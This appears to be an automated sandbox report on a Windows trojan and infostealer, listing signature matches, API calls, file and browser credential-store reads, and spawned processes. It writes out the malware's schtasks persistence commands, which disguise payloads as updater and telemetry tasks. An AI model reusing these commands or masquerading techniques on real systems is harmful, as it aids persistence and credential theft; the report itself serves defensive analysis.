Source: 22.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000000.00000002.2264717201.000000C000BAE000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 0000000A.00000002.2424820883.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000A.00000002.2424820883.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000016.00000002.2598207071.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000016.00000002.2598207071.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000B.00000002.2437046066.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000B.00000002.2437046066.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000000.00000002.2265171878.000000C000CAE000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000002.2265171878.000000C000FD4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000014.00000002.2518294350.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000014.00000002.2518294350.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000009.00000002.2430942841.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000009.00000002.2430942841.0000000000401000.00000020.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000017.00000002.2677916205.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000017.00000002.2677916205.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000000F.00000002.4555133321.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000F.00000002.4555133321.0000000000401000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@26/30@2/4

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02F447E0 GetLastError,GetVersionExA,FormatMessageW,LocalFree,FormatMessageA,

3_2_02F447E0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02F44DE0 GetVersionExA,CreateFileW,CreateFileA,GetDiskFreeSpaceW,GetDiskFreeSpaceA,

3_2_02F44DE0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02EE06D0 CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,

3_2_02EE06D0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02E845E0 CreateDirectoryA,CreateDirectoryA,CoInitialize,CoCreateInstance,CoUninitialize,PathFindExtensionA,CopyFileA,Concurrency::cancel_current_task,

3_2_02E845E0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\Public\Libraries\flhkh.scif

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5036:120:WilError_03
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Mutant created: \Sessions\1\BaseNamedObjects\slickSlideAnd2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2264:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3172:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Mutant created: \Sessions\1\BaseNamedObjects\jW5fQ5e-C7lR7tC1q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2528:120:WilError_03

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File created: C:\Users\user\AppData\Local\Temp\trixyCPXDj512V5iG

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\system32\be48b7e085f82db6cf0b1ec635202c1c4f4f538484da64a27afabc6ff559817fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2184349872.0000019161650000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2264717201.000000C000A1A000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C001400000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256735049.00000191614B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000003.2184349872.0000019161650000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2264717201.000000C000A1A000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2266023505.000000C001400000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256735049.00000191614B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: vNnwTwjWIvfBLogin Data.3.dr, KqbMb6uMMrllLogin Data For Account.3.dr, AUbJyYTe1V8SLogin Data.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: BitLockerToGo.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: file.exe	String found in binary or memory: net/addrselect.go
Source: file.exe	String found in binary or memory: github.com/saferwall/pe@v1.4.8/loadconfig.go

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe "C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Source: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe "C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanCPXDj512V5iG\KSExO5GhJ2KIj6jiDKtz.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntshrui.dll	Jump to behavior
